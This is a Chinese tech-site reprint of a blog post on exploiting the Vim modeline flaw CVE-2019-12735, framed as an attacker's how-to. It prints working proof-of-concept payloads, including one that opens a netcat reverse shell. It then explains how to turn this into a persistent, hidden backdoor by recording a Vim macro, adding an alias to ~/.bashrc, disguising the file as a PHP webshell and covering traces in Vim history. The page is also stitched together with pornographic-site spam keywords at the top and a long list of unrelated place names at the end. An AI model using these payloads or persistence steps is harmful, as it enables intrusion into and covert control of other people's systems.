91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

基于VIM漏洞CVE-2019-12735的VIM宏后門病毒是怎樣的

發布時間:2021-12-22 23:53:03 來源:億速云 閱讀:155 作者:柒染 欄目:安全技術

本篇文章為大家展示了基于VIM漏洞CVE-2019-12735的VIM宏后門病毒是怎樣的,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

0x00 引言

作為一個vim多年使用者,前兩天得知爆出個VIM的RCE漏洞搞的我有點害怕,因此特意對這個漏洞的利用進行了一些研究。由于本人是個菜的摳腳的腳本小子,因此并不會在這篇文章中去給大家解釋漏洞原因,作為腳本小子我只關心如何利用。至于漏洞原因的一些解釋可以去原作者的git上去看:原作者GitHub鏈接。

0x01 漏洞復現

先講一下如何漏洞復現,復現該漏洞的基本條件是:

1.Vim版本在影響范圍內,目前大部分版本都有受影響,至少我最近開啟的GCP上的ubuntu默認的vim版本在8.0左右是受影響的。

2.必須開啟modeline選項,這個選項很關鍵,我的GCP上默認是不開啟的,所以嚴重降低了該漏洞的危害,不太確定低版本或者是一些衍生版本的vim會不會默認開啟。

復現poc1過程:

1. 在~/.vimrc中加入set modeline確保開啟該選項

2. 使用原作者的第一個poc直接寫入一個文件并保存:`:!uname -a||" vi:fen:fdm=expr:fde=assertfails("source!\ \%"):fdl=0:fdt="

3. 然后使用vim打開該文件,如果受影響就會執行打印uname -a的結果,如果不受影響就是一個普通的文本

復現poc2過程:

先來看看原作者在git上寫著的poc2:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\ fde=x\ \|\ source\!\ \%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

如果你只是檢測的話可以不用看這個poc,這個poc主要是用來貼近實戰的利用。我估計會有人使用這個poc1成功,但是使用poc2始終不成功,其實這個poc有幾個地方需要改一下(準確來說是不能復制黏貼):

1.這里面涉及到的十六進制比如\x1b是需要通過二進制編輯器直接改成二進制的,復制黏貼是不行的。將poc中所有的十六進制位置編輯成二進制即可。

2.反斜杠的問題,原poc中作者為了轉義特殊符號來顯示所以多加了反斜杠,將所有涉及到轉義的字符前面多一個的反斜杠“\”去掉就可以了

3.必要的話將最后的\n直接改成回車,如果\n在你的文本里沒有被解釋成回車的話

按照上面說的流程修改完poc后,我們在測試機本地起個nc監聽:nc -lvp 9999最后打開poc2即可看到nc獲取到了反彈鏈接。

0x02 改造poc2加入宏后門

先來說說為什么要加入宏后門,poc2中有個問題,就是當vim打開一次文檔后,就不會在攜帶有惡意代碼了從而變成一個普通文檔。雖然我們可以通過第一次建立連接后下載木馬來獲得持久的后門,但這個方式不在討論范圍內了。這里我的想法是先實現每次打開文檔都會獲得反彈鏈接的持久后門,而不是依賴于下載外部木馬。Poc2其實加了很多代碼用來偽裝成正常文件內容,使人即使打開文件也不會察覺到里面藏有惡意代碼,而poc1則會很明顯看到代碼執行。這個偽裝有幾個特點:

受影響版本的vim和cat打開都不會顯示插入的惡意代碼。

cat -v可以看到惡意代碼

不同版本的cat可能會看到一些顯示的差異,但是惡意代碼依舊是看不到的。

為了不破壞偽裝同時做成可持續的后門,比較菜的我只想到了利用vim宏來達到這個效果。

基本實現思路:

首先,我們希望的是每次vim文件都會執行代碼,那么有沒有可能使其每次vim文件的時候都執行一邊vim宏呢?這是可能的,過程如下:

1. 在vim窗口錄制宏:q{寄存器名稱},錄制完成后再按下q按鍵停止

2. 在~/.bashrc中寫入alias vim=vim -c ‘@{寄存器名稱}’ 以及shopt -s expand_aliases,通過alias替換vim別名的方式來打開文件默認執行宏

3. 那么只要管理員重新登錄shell,以后不管他vim什么文件都會執行我們寫在宏里的命令

接下來要做的就是在poc2中合適的地方加入錄制宏的命令,其實poc2中那些十六進制比如\x1b是ESC的意思,可以聯想到這個應該是vim中切換模式的按鍵,因此我們可以通過在ESC之后需要執行的命令之前加入qy來開始錄制宏y,在命令執行完后某個合適的位置加入q來終止宏的錄制。在試了很多次后最終有了以下exp:基本的VIM宏樣本

#進一步優化上面那個poc依舊存在幾個問題:

1. 每次執行都會瘋狂的往bashrc里插入alias那兩句,只要vim一次就插一次,這很不好

2. 沒有偽裝成正常文件內容

為了改善第一個問題,我們可以通過分開執行兩次命令,然后宏只錄制第一個命令(即反彈shell),第二個插入命令只執行一次。這聽起來很容易,其實做起來并不容易……多次執行會遇到很多問題,因為我太菜了所以花了很長的時間。改善第二個問題,其實也遠遠沒有想的那么簡單,以為只是在空白處插入文本即可,其實不是的,原poc中的命令會對這些文本產生影響,所以寫入什么樣的文本都還是有點考究的。這邊給出一個最終將這兩個問題都解決了并且偽裝成一個PHP一句話的案例:偽裝成php一句話木馬的vim宏后門

PS:最后還有個vim歷史命令里會殘留執行的命令的問題,這個可以通過插入一些垃圾vim命令來偽裝。

上述內容就是基于VIM漏洞CVE-2019-12735的VIM宏后門病毒是怎樣的,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節
推薦閱讀:
  1. vim 的操作
  2. vim 使用

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

vim
AI

吉木乃县| 资阳市| 宜黄县| 云龙县| 拜泉县| 光泽县| 即墨市| 抚宁县| 西丰县| 伊吾县| 思南县| 永春县| 富蕴县| 龙陵县| 泰州市| 宾川县| 格尔木市| 沙洋县| 常德市| 牙克石市| 平山县| 开封县| 高雄市| 卓尼县| 林西县| 石狮市| 防城港市| 淮安市| 西丰县| 四川省| 尼木县| 甘谷县| 临夏市| 长葛市| 准格尔旗| 民丰县| 浮梁县| 贵州省| 衡东县| 木兰县| 天等县|